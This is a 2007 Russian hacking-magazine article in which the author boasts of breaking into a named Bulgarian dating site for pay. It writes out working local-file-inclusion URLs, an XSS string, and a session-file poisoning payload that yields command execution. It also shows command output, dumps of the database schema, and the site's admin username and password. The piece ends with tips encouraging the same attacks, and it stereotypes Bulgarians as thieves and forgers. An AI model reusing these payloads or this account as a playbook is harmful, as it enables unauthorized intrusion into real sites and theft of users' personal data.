Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #105, СЕНТЯБРЬ 2007 г.

Болгарский бумеранг

Леонид «R0id» Стройков

Хакер, номер #105, стр. 060

(stroikov@gameland.ru)

Взлом болгарского датинг-ресурса

Помнишь закон бумеранга? :) Если я не ошибаюсь, он формулируется приблизительно так: «Все наши поступки всегда возвращаются к нам самим». Это положение кажется весьма сомнительным, но если задуматься, то можно найти пару-тройку его подтверждений и в личном опыте. Закон бумеранга всегда работал, работает и будет работать. Ну а если все же произошла осечка - ничто не мешает нам самим привести несложный механизм в действие. В этом ты сможешь убедиться на примере моей статьи =).

С чего все началось

Одним из вечеров ко мне в асю стукнул мой старый приятель. Сквозь потоки мата, всхлипываний и причитаний я таки смог разобрать суть вопроса. Оказалось, что знакомого попросту обокрали, причем уперли вовсе не микроволновку, телевизор или новенький mp3'шник, а покусились на святая святых - ноут (попутно выражаю соболезнования Step'у, чей бук также был похищен изуверами пару месяцев назад). По правде сказать, большого удивления я не испытал и вот почему. Мой приятель не так давно переехал в Болгарию, где и обосновался для успешного продолжения своей деятельности (какой - не скажу :)). Как известно, эта страна славится своими ворами и мошенниками. Львиная доля липовых доков (права и паспорта разных стран мира), а также миллионы поддельных денежных знаков различных государств - все это Болгария. Одним словом, если образ России немыслим без стандартного набора «балалайка, водка, матрешка», то в облике Болгарии неизменно присутствуют десяток паспортов-переклеек и пара мешков свежеотпечатанной наличности на первом плане =). Если ты уже задаешься вопросом: «А зачем мне это знать?», дам небольшое пояснение. Дело в том, что, если бы не сложилась подобная ситуация, я бы, скорее всего, не взялся за взлом того ресурса, о котором пойдет речь в статье. А речь пойдет, как ты мог догадаться, именно об одном из крупных болгарских ресурсов :). Но обо всем по порядку.

Проснувшись ближе к обеду и запустив асю, я обнаружил любопытную мессагу от своего сетевого товарища. В сообщении он просил помочь со взломом заказанного ему датинга, предлагая разделить обещанные ему дивиденды по-дружески: 50/50. За окном стояла 30-градусная жара, и работать совсем не хотелось. Но взглянуть на сайт я все же не поленился =). Ресурс действительно был посвящен знакомствам, флирту и прочим любовным утехам, вот только находился он в болгарской доменной зоне .bg. Этот факт моментально напомнил мне о неприятной истории, приключившейся с моим знакомым, вследствие чего желание отыграться на раскрученном болгарском датинге возникло само собой :).

Зарядив FreeCap свежим американским соксом и перезапустив браузер, я приступил к задуманному. Набрав в адресной строке браузера урл www.sibir.bg, я, как и ожидалось, оказался на сайте знакомств. Вот только искать себе девушку в этот раз я не собирался (да и далековато - Болгария :)). В ходе предварительного осмотра стало ясно, что сайт, скорее всего, размещен на выделенном дедике, а значит, работать предстояло напрямую с «пациентом». Однако после первых 10 минут анализа движка, который был написан на PHP, мое настроение заметно улучшилось =). И, надо сказать, не без основания. Сперва я заметил прямо-таки режущий глаз инклуд:

http://www.sibir.bg/index.php?page=../../../../../../../../etc/passwd%00

Согласись, что пропустить такое «чудо» просто нереально :). Несмотря на то что инклуд оказался локальным, он незамедлительно был отмечен в закладках моего браузера. Дальше - больше. Еще один аналогичный инклудец я заметил в блогах на этом же датинге. Линк на баг выглядел до боли просто:

http://www.sibir.bg/blog/KEITY_SEXY/?blogPage=../../../../../../../../etc/passwd%00&artID=16420

Для полноты коллекции не хватало только активной XSS'ки и красивого SQL-инъекта =). Впрочем, первую я обнаружил. Беда многих веб-программеров заключается в том, что они уж очень любят лепить формочки поиска по сайту, причем без какой-либо фильтрации передающихся параметров. Но, как говорится, чужое горе - свое счастье :). Мое счастье в этом эпизоде вырисовывалось примитивным запросом типа <script>alert('blablabla')</script>, вбитым в ту самую формочку поиска. Каков был результат, догадаться нетрудно. Честно говоря, на первый взгляд, датинг напоминал учебное пособие из серии «Как стать хакером за 1 час» :). Но что-то подсказывало мне, что расслабляться не стоит.

Итак, в ходе рейда боевым путем было получено два локальных инклуда и одна XSS, которую я зарезервировал на крайний случай. Инклуды друг от друга ничем не отличались, что сводило пользу от одного из них на нет. Следовательно, в моем распоряжении оставался лишь один убогий локальный инклуд. Такая постановка вопроса уже не казалась мне столь привлекательной. Тем не менее нужно было действовать. Первая загвоздка вышла с конфигом Апача, путь до которого никак не получалось подобрать. Второй облом поджидал меня с версией Линухи, крутящейся на сервере. Запрос http://www.sibir.bg/index.php?page=../../../../../../../../proc/version%00 издевательски вернул мне строчку:

Linux version 2.6.18.1 (root@localhost) (gcc version 4.1.1 (Gentoo 4.1.1)) #2 SMP Fri Nov 3 12:58:32 EET 2006

В момент взлома в моем распоряжении находился рутовый сплоит только под ядро 2.6.17, да и тот был локальным :(. А учитывая не первый час, проведенный за монитором, продолжать взлом я хотел все меньше и потому отправился в оффлайн.

Чем все закончилось

На следующий день я посовещался с товарищем в асе, обсудил с ним найденные баги, и нами было принято решение о прекращении бессмысленного поиска конфигов для последующего прочтения их с помощью инклуда. Вместо этого знакомый предложил попробовать произвести запись в темповый файл сессии с целью последующего обращения к нему. Идея, безусловно, была интересной, вот только по собственному опыту я знал, что такое удается далеко не всегда (а вернее, очень редко). Если ты по какой-либо причине не въехал в суть затеи, то коротко поясню.

Многие PHP-движки, использующие сессии, создают временные сессионные файлы, в которых сохраняется предыдущий запрос пользователя ресурса с той или иной сессией. Таким образом, при удачном раскладе появлялась возможность выполнения собственного PHP-кода, что, в свою очередь, с большой долей вероятности гарантировало наличие шелла на сервере. Но тут возникло несколько проблем. Первая - поиск пути до сессионных файлов; вторая, не менее важная, - разрешение на запись в них. К счастью, с поиском каталога все прошло гладко - он оказался стандартным - /tmp. Оставалось подобрать имя сессионного файла. После нескольких неудачных попыток был определен префикс в названии - «sess_». То есть полный путь выглядел так: /tmp/sess_номерсессии. Следующим действием я извлек значение собственной сессии из куков: 03aef607999d3d4b16da1c93a767f381, после чего сформировал нехитрый запрос, перейдя по линку:

http://www.sibir.bg/index.php?page=../../../../../../../../etc/passwd%00%3C?%20system($_GET[%27cmd%27]);%20?%3E

Как ты видишь, я собирался записать в свой сессионный файл строчку «<? system($_GET['cmd']); ?>». Забегая вперед скажу, что мне это удалось =). Далее для прочтения своего же сессионного файла мной был заюзан локальный инклуд:

http://www.sibir.bg/index.php?page=../../../../../../../../tmp/sess_03aef607999d3d4b16da1c93a767f381%00&cmd=id

После загрузки страницы я сперва подумал, что задумка обломилась, поскольку своих прав в системе разглядеть на десктопе мне не удалось. Но, открыв HTML-сорец паги и покопавшись в нем, я довольно улыбнулся =). Среди прочего сессионного мусора я нашел и результат выполнения команды id:

noDB|b:0;Registration_from|s:0:"";error|a:0:{}errorsReplace|a:0:
{}warning|a:0:{}warningReplace|a:0:{}success|a:0:{}successReplace|a:0:
{}options|a:3:{s:12:"Show_profile";i:2;s:9:"Show_pics";i:1;s:11:"Show_videos";i:1;}
aid|i:0;onlineTime|i:1186133687;trackPage|s:62:"../../../../../../../../etc/passwd
uid=81(apache) gid=81(apache) groups=81(apache)"

Теперь перед выполнением каждой новой команды сначала следовало перейти по первому линку, записав PHP-код в сессионный файл, и только после этого можно было «единоразово» заюзать шелл. Я вздохнул с облегчением: самая сложная часть работы была позади. Имея на руках возможность выполнения команд в системе, пусть и не с самыми желанными правами, оставалось лишь умело довести начатую атаку до победного конца. Порыскав по серверу, я наткнулся на занимательный каталог под скромным названием /sql. В нем мне особенно приглянулся файлик DB.sql:

http://www.sibir.bg/index.php?page=../../../../../../../../tmp/sess_03aef607999d3d4b16da1c93a767f381%00&cmd=cat%20./sql/DB.sql

Структура базы была как нельзя кстати, а пара строк тут же переместилась ко мне на винт:

INSERT INTO `Account_m` (`AID`, `Username`, `Pass`, `Account_Type`)

INSERT INTO `Pinfo_m` (`AID`, `Fname`, `Lname`, `Gender`, `Birthday`, `Sign`, `Email`, `Lcity`, `Country`)

Как ты догадываешься, админку я получил без проблем. Аккаунт, кстати, имел занимательный вид (обрати внимание на пасс :)):

логин: admin

пароль: abcdef

Что было дальше, рассказывать не буду - думаю, и так все ясно. Отмечу только, что понравилась администрация блога =). Вдоволь наигравшись с ресурсом, я, как и обещал, передал его товарищу, а сам отправился за пивом. Все-таки лето - отдыхать надо :).

На заметку

Напоследок хотел бы пожелать тебе никогда не упускать ни единого шанса, способного хоть на шаг приблизить тебя к заветной цели. Как видишь, одними примитивными багами нынче не обойтись. Конечно, встречаются ресурсы с банальными инъектами или простенькими инклудами. Но зачастую их реализация заводит в тупик. Поэтому настоятельно рекомендую пробовать новые варианты или как минимум комбинировать старые.

Danger

Внимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несут!

Info

Если есть возможность записи в сессионный файл, непременно воспользуйся ей.

Старайся искать новые варианты атаки или хотя бы комбинируй старые.

Содержание